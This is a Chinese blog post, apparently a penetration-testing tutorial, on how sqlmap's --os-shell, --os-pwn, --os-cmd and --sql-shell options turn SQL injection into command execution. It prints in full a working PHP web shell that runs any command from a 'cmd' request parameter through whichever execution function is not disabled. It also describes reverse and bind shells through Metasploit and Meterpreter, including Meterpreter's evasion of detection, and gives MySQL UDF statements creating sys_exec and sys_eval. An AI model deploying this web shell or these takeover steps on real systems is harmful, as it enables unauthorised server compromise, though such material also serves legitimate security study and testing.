sqlmap挂马命令

--os-shell

写了两个马

一个是上传功能的马

一个是通过上传的马进行shell的上传。

(tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来)

Tmpbezal.php
1 <?php 
 2 $c=$_REQUEST["cmd"];
 3 @set_time_limit(0);
 4 @ignore_user_abort(1);
 5 @ini_set('max_execution_time',0);
 6 $z=@ini_get('disable_functions');
 7 if(!empty($z))
 8 {
 9     $z=preg_replace('/[, ]+/',',',$z);
10     $z=explode(',',$z);
11     $z=array_map('trim',$z);}
12 else
13     {
14         $z=array();
15         }
16 $c=$c." 2>&1\n";
17 function f($n)
18 {global $z;
19 return is_callable($n)and!in_array($n,$z);
20 }
21 if(f('system'))
22 {ob_start();
23 system($c);
24 $w=ob_get_contents();
25 ob_end_clean();
26 }elseif(f('proc_open')){
27     $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
28     $w=NULL;
29     while(!feof($t[1])){
30         $w.=fread($t[1],512);
31             }
32         @proc_close($y);
33 }
34     elseif(f('shell_exec')){
35     $w=shell_exec($c);
36     }
37     elseif(f('passthru')){
38         ob_start();
39         passthru($c);
40         $w=ob_get_contents();
41         ob_end_clean();
42         }elseif(f('popen')){
43             $x=popen($c,r);
44             $w=NULL;
45             if(is_resource($x)){
46                 while(!feof($x)){
47                 $w.=fread($x,512);
48                     }
49                     }
50                     @pclose($x);
51                     }elseif(f('exec')){
52                         $w=array();
53                         exec($c,$w);
54                         $w=join(chr(10),$w).chr(10);
55                         }else{
56                             $w=0;
57                             }
58                             print "</pre>".$w."</pre>";?>'''

 然后就可以在--os-shell下执行命令了

--os-pwn

这个需要知道绝对路径可以反弹shell

 上面说我没有提供local path Metasploit 的路径,所以他会自己寻找路径为/urs/bin

 此处应该是调用msf中的监听模块且不需使用msfconsole监听

 然后他问你通过哪种方式getshell(此处需要数据库权限为dba)

通过内存写入sys_bineval存储过程(该UDF只是分配缓冲区并且创建新的线程执行)

还是通过shellcodeexec放在文件里

 两种连接方式

TCP的反向链接反弹shell,

Bind Tcp正向Tcp连接(通常用于不出网机器)

 然后返回的地址是shell还是msf监听,如果是msf需要先起一个监听

 拓展:

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

来源:Meterpreter命令详解 - 渗透测试中心 - 博客园

 然后就可以写东西了

--os-cmd

这个需要sqlserver开启xp_cmdshell并且数据库权限为dba

SQL Server如何启用xp_cmdshell组件 - zock - 博客园

执行whoami

--sql-shell

这个就比上述简单就直接利用数据库的shell功能可以执行一些查询或写一些函数

比如:

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值